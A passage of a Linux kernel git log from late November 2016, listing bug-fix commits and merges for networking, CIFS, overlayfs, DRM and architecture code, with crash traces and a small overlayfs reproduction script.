9e081031303834bf86d8cfeccd44df09b2c21377 Author: Johan Hovold Date: Mon Nov 28 19:24:57 2016 +0100 net: ethernet: aurora: nb8800: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: c7dfe3abf40e ("net: ethernet: nb8800: support fixed-link DT node") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/aurora/nb8800.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 5a89394ad2a5b94885bdbbb611518b0cc70bf354 Author: Johan Hovold Date: Mon Nov 28 19:24:56 2016 +0100 net: ethernet: altera: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: 7cdbc6f74f8e ("altera tse: add support for fixed-links.") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/altera/altera_tse_main.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 3f65047c853a2a5abcd8ac1984af3452b5df4ada Author: Johan Hovold Date: Mon Nov 28 19:24:55 2016 +0100 of_mdio: add helper to deregister fixed-link PHYs Add helper to deregister fixed-link PHYs registered using of_phy_register_fixed_link(). Convert the two drivers that care to deregister their fixed-link PHYs to use the new helper, but note that most drivers currently fail to do so. Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 16 ++-------------- drivers/of/of_mdio.c | 15 +++++++++++++++ include/linux/of_mdio.h | 4 ++++ net/dsa/dsa.c | 12 ++---------- 4 files changed, 23 insertions(+), 24 deletions(-) commit 0d8f3c67151faaa80e332c254372dca58fb2a9d4 Author: Johan Hovold Date: Mon Nov 28 19:24:54 2016 +0100 net: dsa: slave: fix of-node leak and phy priority Make sure to drop the reference taken by of_parse_phandle() before returning from dsa_slave_phy_setup(). Note that this also modifies the PHY priority so that any fixed-link node is only parsed when no phy-handle is given, which is in accordance with the common scheme for this. Fixes: 0d8bcdd383b8 ("net: dsa: allow for more complex PHY setups") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller net/dsa/slave.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit c0c4249da50fc76db1012ff2cc18380624e91a59 Merge: e5517c2 bcfdd5d Author: Dave Airlie Date: Wed Nov 30 14:15:57 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes Regression fixes for PX and a powerplay fix. * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/radeon: fix check for port PM availability drm/amdgpu: fix check for port PM availability drm/amd/powerplay: initialize the soft_regs offset in struct smu7_hwmgr commit ded6e842cf499ef04b0d611d92b859d5b846c497 Merge: faaae2a 6a8b2ca Author: Linus Torvalds Date: Tue Nov 29 18:30:50 2016 -0800 Merge tag 'arc-4.9-final' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc Pull ARC fixes from Vineet Gupta: - fix PAE40 crash [Yuriy] - disable IO-Coherency by default - use a different inline asm constraint for Zero Overhead loops * tag 'arc-4.9-final' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc: ARC: mm: PAE40: Fix crash at munmap ARC: mm: IOC: Don't enable IOC by default ARC: Don't use "+l" inline asm constraint commit a510887824171ad260cc4a2603396c6247fdd091 Author: Arnaldo Carvalho de Melo Date: Mon Nov 28 12:36:58 2016 -0300 GSO: Reload iph after pskb_may_pull As it may get stale and lead to use after free. Acked-by: Eric Dumazet Cc: Alexander Duyck Cc: Andrey Konovalov Fixes: cbc53e08a793 ("GSO: Add GSO type for fixed IPv4 ID") Signed-off-by: Arnaldo Carvalho de Melo Acked-by: Alexander Duyck Signed-off-by: David S. Miller net/ipv4/af_inet.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 725cbb62e7ade1bb29aa21a902d74e72b42a0f3d Author: Jiri Pirko Date: Mon Nov 28 15:40:13 2016 +0100 sched: cls_flower: remove from hashtable only in case skip sw flag is not set Be symmetric to hashtable insert and remove filter from hashtable only in case skip sw flag is not set. Fixes: e69985c67c33 ("net/sched: cls_flower: Introduce support in SKIP SW flag") Signed-off-by: Jiri Pirko Reviewed-by: Amir Vadai Signed-off-by: David S. Miller net/sched/cls_flower.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 648f0c28df282636c0c8a7a19ca3ce5fc80a39c3 Author: Eric Dumazet Date: Mon Nov 28 06:26:49 2016 -0800 net/dccp: fix use-after-free in dccp_invalid_packet pskb_may_pull() can reallocate skb->head, we need to reload dh pointer in dccp_invalid_packet() or risk use after free. Bug found by Andrey Konovalov using syzkaller. Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Signed-off-by: David S. Miller net/dccp/ipv4.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit ffac0e967f20b7637936dbaa21df08c55f672604 Author: Zumeng Chen Date: Mon Nov 28 21:55:00 2016 +0800 net: macb: ensure ordering write to re-enable RX smoothly When a hardware issue happened as described by inline comments, the register write pattern looks like the following: + wmb(); There might be a memory barrier between these two write operations, so add wmb to ensure an flip from 0 to 1 for NCR. Signed-off-by: Zumeng Chen Acked-by: Nicolas Ferre Signed-off-by: David S. Miller drivers/net/ethernet/cadence/macb.c | 2 ++ 1 file changed, 2 insertions(+) commit a0b44eea372b449ef9744fb1d90491cc063289b8 Author: Cyrille Pitchen Date: Mon Nov 28 14:40:55 2016 +0100 net: macb: fix the RX queue reset in macb_rx() On macb only (not gem), when a RX queue corruption was detected from macb_rx(), the RX queue was reset: during this process the RX ring buffer descriptor was initialized by macb_init_rx_ring() but we forgot to also set bp->rx_tail to 0. Indeed, when processing the received frames, bp->rx_tail provides the macb driver with the index in the RX ring buffer of the next buffer to process. So when the whole ring buffer is reset we must also reset bp->rx_tail so the driver is synchronized again with the hardware. Since macb_init_rx_ring() is called from many locations, currently from macb_rx() and macb_init_rings(), we'd rather add the "bp->rx_tail = 0;" line inside macb_init_rx_ring() than add the very same line after each call of this function. Without this fix, the rx queue is not reset properly to recover from queue corruption and connection drop may occur. Signed-off-by: Cyrille Pitchen Fixes: 9ba723b081a2 ("net: macb: remove BUG_ON() and reset the queue to handle RX errors") Acked-by: Nicolas Ferre Signed-off-by: David S. Miller drivers/net/ethernet/cadence/macb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 707693c8a498697aa8db240b93eb76ec62e30892 Author: Herbert Xu Date: Mon Nov 28 19:22:12 2016 +0800 netlink: Call cb->done from a worker thread The cb->done interface expects to be called in process context. This was broken by the netlink RCU conversion. This patch fixes it by adding a worker struct to make the cb->done call where necessary. Fixes: 21e4902aea80 ("netlink: Lockless lookup with RCU grace...") Reported-by: Subash Abhinov Kasiviswanathan Signed-off-by: Herbert Xu Acked-by: Cong Wang Signed-off-by: David S. Miller net/netlink/af_netlink.c | 27 +++++++++++++++++++++++---- net/netlink/af_netlink.h | 2 ++ 2 files changed, 25 insertions(+), 4 deletions(-) commit 95c2027bfeda21a28eb245121e6a249f38d0788e Author: Amir Vadai Date: Mon Nov 28 12:56:40 2016 +0200 net/sched: pedit: make sure that offset is valid Add a validation function to make sure offset is valid: 1. Not below skb head (could happen when offset is negative). 2. Validate both 'offset' and 'at'. Signed-off-by: Amir Vadai Signed-off-by: David S. Miller net/sched/act_pedit.c | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) commit faaae2a581435f32781a105dda3501df388fddcb Author: Linus Torvalds Date: Tue Nov 29 15:20:14 2016 -0800 Re-enable CONFIG_MODVERSIONS in a slightly weaker form This enables CONFIG_MODVERSIONS again, but allows for missing symbol CRC information in order to work around the issue that newer binutils versions seem to occasionally drop the CRC on the floor. binutils 2.26 seems to work fine, while binutils 2.27 seems to break MODVERSIONS of symbols that have been defined in assembler files. [ We've had random missing CRC's before - it may be an old problem that just is now reliably triggered with the weak asm symbols and a new version of binutils ] Some day I really do want to remove MODVERSIONS entirely. Sadly, today does not appear to be that day: Debian people apparently do want the option to enable MODVERSIONS to make it easier to have external modules across kernel versions, and this seems to be a fairly minimal fix for the annoying problem. Cc: Ben Hutchings Acked-by: Michal Marek Signed-off-by: Linus Torvalds init/Kconfig | 1 - kernel/module.c | 5 +++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 22d3d4fbbd5892af78285bc263fbc3d3e111d5b8 Merge: ab59d1f ae9ebe7 Author: Linus Torvalds Date: Tue Nov 29 11:33:28 2016 -0800 Merge branch 'for-next' of git://git.samba.org/sfrench/cifs-2.6 Pull CIFS fixes from Steve French: "A few misc important cifs fixes, including a fix for a 4.9 regression in posix_acl xattr handling" * 'for-next' of git://git.samba.org/sfrench/cifs-2.6: CIFS: iterate over posix acl xattr entry correctly in ACL_to_cifs_posix() Call echo service immediately after socket reconnect CIFS: Fix BUG() in calc_seckey() commit 9b57da0630c9fd36ed7a20fc0f98dc82cc0777fa Author: Florian Westphal Date: Tue Nov 29 02:17:34 2016 +0100 netfilter: ipv6: nf_defrag: drop mangled skb on ream error Dmitry Vyukov reported GPF in network stack that Andrey traced down to negative nh offset in nf_ct_frag6_queue(). Problem is that all network headers before fragment header are pulled. Normal ipv6 reassembly will drop the skb when errors occur further down the line. netfilter doesn't do this, and instead passed the original fragment along. That was also fine back when netfilter ipv6 defrag worked with cloned fragments, as the original, pristine fragment was passed on. So we either have to undo the pull op, or discard such fragments. Since they're malformed after all (e.g. overlapping fragment) it seems preferrable to just drop them. Same for temporary errors -- it doesn't make sense to accept (and perhaps forward!) only some fragments of same datagram. Fixes: 029f7f3b8701cc7ac ("netfilter: ipv6: nf_defrag: avoid/free clone operations") Reported-by: Dmitry Vyukov Debugged-by: Andrey Konovalov Diagnosed-by: Eric Dumazet Signed-off-by: Florian Westphal Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso net/ipv6/netfilter/nf_conntrack_reasm.c | 4 ++-- net/ipv6/netfilter/nf_defrag_ipv6_hooks.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit ab59d1f4b66540d2b9c4a15b377d6c9e6ffd1103 Merge: a2ce266 c65c945 Author: Linus Torvalds Date: Tue Nov 29 11:15:37 2016 -0800 Merge tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI fixes from James Bottomley: "Four small fixes. The be2iscsi is a potential device overrun in consistent memory, which could have nasty consequences if the consistent allocations are packed. The hpsa one fixes a regression where older controllers can now get a numbering clash between the first internal disk and the controller. The libfc one is a regression in timespec conversions which causes a user visible issue in a command line tool and the mpt3sas one fixes a regression where the controller could remain permanently blocked after an ATA pass through command followed by a reset" * tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: be2iscsi: allocate enough memory in beiscsi_boot_get_sinfo() scsi: mpt3sas: Unblock device after controller reset scsi: hpsa: use bus '3' for legacy HBA devices scsi: libfc: fix seconds_since_last_reset miscalculation commit dfa2ccc30e6556bd526f54f0e16fc9e5af4293cb Author: Jan Glauber Date: Mon Nov 14 19:50:43 2016 +0100 Revert "i2c: octeon: thunderx: Limit register access retries" This reverts commit 70121f7f3725 ("i2c: octeon: thunderx: Limit register access retries"). Using readq_poll_timeout instead of __raw_readq triggers the following debug warning: [ 78.871568] ipmi_ssif: Trying hotmod-specified SSIF interface at i2c address 0x12, adapter Cavium ThunderX i2c adapter at 0000:01:09.4, slave address 0x0 [ 78.886107] do not call blocking ops when !TASK_RUNNING; state=2 set at [] prepare_to_wait_event+0x58/0x10c [ 78.897436] ------------[ cut here ]------------ [ 78.902050] WARNING: CPU: 6 PID: 2235 at kernel/sched/core.c:7718 __might_sleep+0x80/0x88 [...] [ 79.133553] [] __might_sleep+0x80/0x88 [ 79.138862] [] octeon_i2c_test_iflg+0x4c/0xbc [i2c_thunderx] [ 79.146077] [] octeon_i2c_test_ready+0x18/0x70 [i2c_thunderx] [ 79.153379] [] octeon_i2c_wait+0x154/0x1a4 [i2c_thunderx] [ 79.160334] [] octeon_i2c_xfer+0xf4/0xf60 [i2c_thunderx] Signed-off-by: Jan Glauber Acked-by: Steven J. Hill Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-core.c | 4 +--- drivers/i2c/busses/i2c-octeon-core.h | 27 +++++++++++---------------- 2 files changed, 12 insertions(+), 19 deletions(-) commit ff682a3dad98074f956e6da099448d3eb93f095c Merge: c65c945 2319f84 Author: James Bottomley Date: Tue Nov 29 10:57:03 2016 -0800 Merge remote-tracking branch 'mkp-scsi/4.9/scsi-fixes' into fixes commit 6a8b2ca702b279bea0e8f0363056439352e2081c Author: Yuriy Kolerov Date: Mon Nov 28 07:07:17 2016 +0300 ARC: mm: PAE40: Fix crash at munmap commit 1c3c90930392 broke PAE40. Macro pfn_pte(pfn, prot) creates paddr from pfn, but the page shift was getting truncated to 32 bits since we lost the proper cast to 64 bits (for PAE400 Instead of reverting that commit, use a better helper which is 32/64 bits safe just like ARM implementation. Fixes: 1c3c90930392 ("ARC: mm: fix build breakage with STRICT_MM_TYPECHECKS") Cc: #4.4+ Signed-off-by: Yuriy Kolerov [vgupta: massaged changelog] Signed-off-by: Vineet Gupta arch/arc/include/asm/pgtable.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5c3ef39738f74a3759918cc1a1ad099504f9d1b7 Author: Uwe Kleine-König Date: Tue Nov 29 12:13:38 2016 +0100 ata: sata_mv: check for errors when parsing nr-ports from dt If the nr-ports property is missing ata_host_alloc_pinfo is called with n_ports = 0. This results in host->ports[0] = NULL which later makes mv_init_host() oops when dereferencing this pointer. Instead be a bit more cooperative and fail the probing with an error message. Signed-off-by: Uwe Kleine-König Signed-off-by: Tejun Heo drivers/ata/sata_mv.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit a2ce2666aa3509ac31fac0f540a3502372b7b630 Author: Aaron Lu Date: Tue Nov 29 13:27:31 2016 +0800 mremap: move_ptes: check pte dirty after its removal Linus found there still is a race in mremap after commit 5d1904204c99 ("mremap: fix race between mremap() and page cleanning"). As described by Linus: "the issue is that another thread might make the pte be dirty (in the hardware walker, so no locking of ours will make any difference) *after* we checked whether it was dirty, but *before* we removed it from the page tables" Fix it by moving the check after we removed it from the page table. Suggested-by: Linus Torvalds Signed-off-by: Aaron Lu Signed-off-by: Linus Torvalds mm/huge_memory.c | 4 ++-- mm/mremap.c | 12 ++++++++---- 2 files changed, 10 insertions(+), 6 deletions(-) commit 0e1614ac84f1719d87bed577963bb8140d0c9ce8 Author: Johan Hovold Date: Tue Nov 1 11:46:39 2016 +0100 pwm: Fix device reference leak Make sure to drop the reference to the parent device taken by class_find_device() after "unexporting" any children when deregistering a PWM chip. Fixes: 0733424c9ba9 ("pwm: Unexport children before chip removal") Signed-off-by: Johan Hovold Signed-off-by: Thierry Reding drivers/pwm/sysfs.c | 2 ++ 1 file changed, 2 insertions(+) commit bcfdd5d5105087e6f33dfeb08a1ca6b2c0287b61 Author: Alex Deucher Date: Mon Nov 28 17:23:40 2016 -0500 drm/radeon: fix check for port PM availability The ATPX method does not always exist on the dGPU, it may be located at the iGPU. The parent device of the iGPU is the root port for which bridge_d3 is false. This accidentally enables the legacy PM method which conflicts with port PM and prevented the dGPU from powering on. Ported from amdgpu commit: drm/amdgpu: fix check for port PM availability from Peter Wu. Fixes: d3ac31f3b4bf9fad (drm/radeon: fix power state when port pm is unavailable (v2)) Signed-off-by: Alex Deucher Cc: Peter Wu Cc: # 4.8+ drivers/gpu/drm/radeon/radeon_atpx_handler.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 7ac33e47d5769632010e537964c7e45498f8dc26 Author: Peter Wu Date: Sat Nov 26 15:05:01 2016 +0100 drm/amdgpu: fix check for port PM availability The ATPX method does not always exist on the dGPU, it may be located at the iGPU. The parent device of the iGPU is the root port for which bridge_d3 is false. This accidentally enables the legacy PM method which conflicts with port PM and prevented the dGPU from powering on. Fixes: 1db4496f167b ("drm/amdgpu: fix power state when port pm is unavailable") Reported-and-tested-by: Mike Lothian Signed-off-by: Peter Wu Signed-off-by: Alex Deucher Cc: # 4.8+ drivers/gpu/drm/amd/amdgpu/amdgpu_atpx_handler.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit dd7b2f035ec41a409f7a7cec7aabc0ec0eacf476 Author: Benjamin Herrenschmidt Date: Tue Nov 29 13:13:46 2016 +1100 powerpc/mm: Fix lazy icache flush on pre-POWER5 On 64-bit CPUs with no-execute support and non-snooping icache, such as 970 or POWER4, we have a software mechanism to ensure coherency of the cache (using exec faults when needed). This was broken due to a logic error when the code was rewritten from assembly to C, previously the assembly code did: BEGIN_FTR_SECTION mr r4,r30 mr r5,r7 bl hash_page_do_lazy_icache END_FTR_SECTION(CPU_FTR_NOEXECUTE|CPU_FTR_COHERENT_ICACHE, CPU_FTR_NOEXECUTE) Which tests that: (cpu_features & (NOEXECUTE | COHERENT_ICACHE)) == NOEXECUTE Which says that the current cpu does have NOEXECUTE, but does not have COHERENT_ICACHE. Fixes: 91f1da99792a ("powerpc/mm: Convert 4k hash insert to C") Fixes: 89ff725051d1 ("powerpc/mm: Convert __hash_page_64K to C") Fixes: a43c0eb8364c ("powerpc/mm: Convert 4k insert from asm to C") Cc: stable@vger.kernel.org # v4.5+ Signed-off-by: Benjamin Herrenschmidt Reviewed-by: Aneesh Kumar K.V [mpe: Change log verbosification] Signed-off-by: Michael Ellerman arch/powerpc/mm/hash64_4k.c | 2 +- arch/powerpc/mm/hash64_64k.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit c4fcfc1619ea43a8a89ad2f83ff23905eee088bd Author: Miklos Szeredi Date: Tue Nov 29 10:20:24 2016 +0100 ovl: fix d_real() for stacked fs Handling of recursion in d_real() is completely broken. Recursion is only done in the 'inode != NULL' case. But when opening the file we have 'inode == NULL' hence d_real() will return an overlay dentry. This won't work since overlayfs doesn't define its own file operations, so all file ops will fail. Fix by doing the recursion first and the check against the inode second. Bash script to reproduce the issue written by Quentin: - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - tmpdir=$(mktemp -d) pushd ${tmpdir} mkdir -p {upper,lower,work} echo -n 'rocks' > lower/ksplice mount -t overlay level_zero upper -o lowerdir=lower,upperdir=upper,workdir=work cat upper/ksplice tmpdir2=$(mktemp -d) pushd ${tmpdir2} mkdir -p {upper,work} mount -t overlay level_one upper -o lowerdir=${tmpdir}/upper,upperdir=upper,workdir=work ls -l upper/ksplice cat upper/ksplice - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - Reported-by: Quentin Casasnovas Signed-off-by: Miklos Szeredi Fixes: 2d902671ce1c ("vfs: merge .d_select_inode() into .d_real()") Cc: # v4.8+ fs/overlayfs/super.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit ae9ebe7c4ee0c16c3d55d1ae3096c82e0a7c136f Author: Eryu Guan Date: Mon Oct 24 20:46:40 2016 +0800 CIFS: iterate over posix acl xattr entry correctly in ACL_to_cifs_posix() Commit 2211d5ba5c6c ("posix_acl: xattr representation cleanups") removes the typedefs and the zero-length a_entries array in struct posix_acl_xattr_header, and uses bare struct posix_acl_xattr_header and struct posix_acl_xattr_entry directly. But it failed to iterate over posix acl slots when converting posix acls to CIFS format, which results in several test failures in xfstests (generic/053 generic/105) when testing against a samba v1 server, starting from v4.9-rc1 kernel. e.g. [root@localhost xfstests]# diff -u tests/generic/105.out /root/xfstests/results//generic/105.out.bad --- tests/generic/105.out 2016-09-19 16:33:28.577962575 +0800 +++ /root/xfstests/results//generic/105.out.bad 2016-10-22 15:41:15.201931110 +0800 @@ -1,3 +1,4 @@ QA output created by 105 -rw-r--r-- root +setfacl: subdir: Invalid argument -rw-r--r-- root Fix it by introducing a new "ace" var, like what cifs_copy_posix_acl() does, and iterating posix acl xattr entries over it in the for loop. Signed-off-by: Eryu Guan Signed-off-by: Steve French fs/cifs/cifssmb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b8c600120fc87d53642476f48c8055b38d6e14c7 Author: Sachin Prabhu Date: Thu Oct 20 19:52:24 2016 -0400 Call echo service immediately after socket reconnect Commit 4fcd1813e640 ("Fix reconnect to not defer smb3 session reconnect long after socket reconnect") changes the behaviour of the SMB2 echo service and causes it to renegotiate after a socket reconnect. However under default settings, the echo service could take up to 120 seconds to be scheduled. The patch forces the echo service to be called immediately resulting a negotiate call being made immediately on reconnect. Signed-off-by: Sachin Prabhu Reviewed-by: Pavel Shilovsky Signed-off-by: Steve French fs/cifs/connect.c | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) commit 5f4b55699aaff1028468e3f53853d781cdafedd6 Author: Sachin Prabhu Date: Mon Oct 17 16:40:22 2016 -0400 CIFS: Fix BUG() in calc_seckey() Andy Lutromirski's new virtually mapped kernel stack allocations moves kernel stacks the vmalloc area. This triggers the bug kernel BUG at ./include/linux/scatterlist.h:140! at calc_seckey()->sg_init() Signed-off-by: Sachin Prabhu Signed-off-by: Steve French Reviewed-by: Jeff Layton fs/cifs/cifsencrypt.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit b64268d8a3f623c9b88676ad3dfacc95cfcfc62f Author: Rex Zhu Date: Thu Nov 24 13:33:47 2016 +0800 drm/amd/powerplay: initialize the soft_regs offset in struct smu7_hwmgr This could lead to mclk dpm problems on some boards. Signed-off-by: Rex Zhu Ack-by: Tom St Denis Reviewed-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/polaris10_smc.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 88abd8249ee8bcebb98c90e890ea5e342db832af Merge: 96e52d3 6929ef3 Author: Linus Torvalds Date: Mon Nov 28 14:17:10 2016 -0800 Merge branch 'for-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata Pull libata fixes from Tejun Heo: "The recent changes in ahci MSI handling need one more fix. Hopefully, this restores parity with before. The other two are minor fixes with both low impact and risk" * 'for-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata: ahci: always fall back to single-MSI mode libata-scsi: Fixup ata_gen_passthru_sense() mvsas: fix error return code in mvs_task_prep() commit 96e52d3ac88780d60ca74bb96301369b7e0c5867 Merge: e5517c2 16f4605 Author: Linus Torvalds Date: Mon Nov 28 13:53:19 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc Pull sparc fixes from David Miller: "Two ugly build warning fixes" * git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc: dbri: Fix compiler warning qlogicpti: Fix compiler warnings commit 2dbb4c05d048995455857a7c2927a4297fc66c3b Author: Michael Holzheu Date: Mon Nov 28 13:48:30 2016 +0100 bpf/samples: Fix PT_REGS_IP on s390x and use it The files "sampleip_kern.c" and "trace_event_kern.c" directly access "ctx->regs.ip" which is not available on s390x. Fix this and use the PT_REGS_IP() macro instead. Also fix the macro for s390x and use "psw.addr" from "pt_regs". Reported-by: Zvonko Kosic Signed-off-by: Michael Holzheu Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/bpf_helpers.h | 2 +- samples/bpf/sampleip_kern.c | 2 +- samples/bpf/trace_event_kern.c | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 7a99cd6e213685b78118382e6a8fed506c82ccb2 Author: Nikita Yushchenko Date: Mon Nov 28 09:48:48 2016 +0300 net: dsa: fix unbalanced dsa_switch_tree reference counting _dsa_register_switch() gets a dsa_switch_tree object either via dsa_get_dst() or via dsa_add_dst(). Former path does not increase kref in returned object (resulting into caller not owning a reference), while later path does create a new object (resulting into caller owning a reference). The rest of _dsa_register_switch() assumes that it owns a reference, and calls dsa_put_dst(). This causes a memory breakage if first switch in the tree initialized successfully, but second failed to initialize. In particular, freed dsa_swith_tree object is left referenced by switch that was initialized, and later access to sysfs attributes of that switch cause OOPS. To fix, need to add kref_get() call to dsa_get_dst(). Fixes: 83c0afaec7b7 ("net: dsa: Add new binding implementation") Signed-off-by: Nikita Yushchenko Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller net/dsa/dsa2.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 79dc7e3f1cd323be4c81aa1a94faa1b3ed987fb2 Author: David Ahern Date: Sun Nov 27 18:52:53 2016 -0800 net: handle no dst on skb in icmp6_send Andrey reported the following while fuzzing the kernel with syzkaller: kasan: CONFIG_KASAN_INLINE enabled kasan: GPF could be caused by NULL-ptr deref or user memory access general protection fault: 0000 [#1] SMP KASAN Modules linked in: CPU: 0 PID: 3859 Comm: a.out Not tainted 4.9.0-rc6+ #429 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 task: ffff8800666d4200 task.stack: ffff880067348000 RIP: 0010:[] [] icmp6_send+0x5fc/0x1e30 net/ipv6/icmp.c:451 RSP: 0018:ffff88006734f2c0 EFLAGS: 00010206 RAX: ffff8800666d4200 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: dffffc0000000000 RDI: 0000000000000018 RBP: ffff88006734f630 R08: ffff880064138418 R09: 0000000000000003 R10: dffffc0000000000 R11: 0000000000000005 R12: 0000000000000000 R13: ffffffff84e7e200 R14: ffff880064138484 R15: ffff8800641383c0 FS: 00007fb3887a07c0(0000) GS:ffff88006cc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020000000 CR3: 000000006b040000 CR4: 00000000000006f0 Stack: ffff8800666d4200 ffff8800666d49f8 ffff8800666d4200 ffffffff84c02460 ffff8800666d4a1a 1ffff1000ccdaa2f ffff88006734f498 0000000000000046 ffff88006734f440 ffffffff832f4269 ffff880064ba7456 0000000000000000 Call Trace: [] icmpv6_param_prob+0x2c/0x40 net/ipv6/icmp.c:557 [< inline >] ip6_tlvopt_unknown net/ipv6/exthdrs.c:88 [] ip6_parse_tlv+0x555/0x670 net/ipv6/exthdrs.c:157 [] ipv6_parse_hopopts+0x199/0x460 net/ipv6/exthdrs.c:663 [] ipv6_rcv+0xfa3/0x1dc0 net/ipv6/ip6_input.c:191 ... icmp6_send / icmpv6_send is invoked for both rx and tx paths. In both cases the dst->dev should be preferred for determining the L3 domain if the dst has been set on the skb. Fallback to the skb->dev if it has not. This covers the case reported here where icmp6_send is invoked on Rx before the route lookup. Fixes: 5d41ce29e ("net: icmp6_send should use dst dev to determine L3 domain") Reported-by: Andrey Konovalov Signed-off-by: David Ahern Signed-off-by: David S. Miller net/ipv6/icmp.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 16f46050e7094a95554555a505a984535d253cf6 Author: Tushar Dave Date: Thu Nov 24 12:35:16 2016 -0800 dbri: Fix compiler warning dbri uses 'u32' for dma handle while invoking kernel DMA APIs, instead of using dma_addr_t. This hasn't caused any 'incompatible pointer type' warning on SPARC because until now dma_addr_t is of type u32. However, recent changes in SPARC ATU (iommu) enabled 64bit DMA and therefore dma_addr_t became of type u64. This makes 'incompatible pointer type' warnings inevitable. e.g. sound/sparc/dbri.c: In function ‘snd_dbri_create’: sound/sparc/dbri.c:2538: warning: passing argument 3 of ‘dma_zalloc_coherent’ from incompatible pointer type ./include/linux/dma-mapping.h:608: note: expected ‘dma_addr_t *’ but argument is of type ‘u32 *’ For the record, dbri(sbus) driver never executes on sun4v. Therefore even though 64bit DMA is enabled on SPARC, dbri continues to use legacy iommu that guarantees DMA address is always in 32bit range. This patch resolves above compiler warning. Signed-off-by: Tushar Dave Reviewed-by: thomas tai Signed-off-by: David S. Miller sound/sparc/dbri.c | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) commit e58566b1b17fef5c4590e652a337afe66277131a Author: Tushar Dave Date: Wed Nov 23 18:28:04 2016 -0800 qlogicpti: Fix compiler warnings qlogicpti uses '__u32' for dma handle while invoking kernel DMA APIs, instead of using dma_addr_t. This hasn't caused any 'incompatible pointer type' warning on SPARC because until now dma_addr_t is of type u32. However, recent changes in SPARC ATU (iommu) enabled 64bit DMA and therefore dma_addr_t became of type u64. This makes 'incompatible pointer type' warnings inevitable. e.g. drivers/scsi/qlogicpti.c: In function ‘qpti_map_queues’: drivers/scsi/qlogicpti.c:813: warning: passing argument 3 of ‘dma_alloc_coherent’ from incompatible pointer type ./include/linux/dma-mapping.h:445: note: expected ‘dma_addr_t *’ but argument is of type ‘__u32 *’ drivers/scsi/qlogicpti.c:822: warning: passing argument 3 of ‘dma_alloc_coherent’ from incompatible pointer type ./include/linux/dma-mapping.h:445: note: expected ‘dma_addr_t *’ but argument is of type ‘__u32 *’ For the record, qlogicpti never executes on sun4v. Therefore even though 64bit DMA is enabled on SPARC, qlogicpti continues to use legacy iommu that guarantees DMA address is always in 32bit range. This patch resolves aforementioned compiler warnings. Signed-off-by: Tushar Dave Reviewed-by: thomas tai Signed-off-by: David S. Miller drivers/scsi/qlogicpti.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2fc8d112d73f604936712c02780b9a8fb402b67c Merge: faa1fa5 44b911e Author: David S. Miller Date: Mon Nov 28 15:33:47 2016 -0500 Merge branch 'mlx4-fixes' Tariq Toukan says: ==================== mlx4 bug fixes for 4.9 This patchset includes 2 bug fixes: * In patch 1 we revert the commit that avoids invoking unregister_netdev in shutdown flow, as it introduces netdev presence issues where it can be accessed unsafely by ndo operations during the flow. * Patch 2 is a simple fix for a variable uninitialization issue. Series generated against net commit: 6998cc6ec237 tipc: resolve connection flow 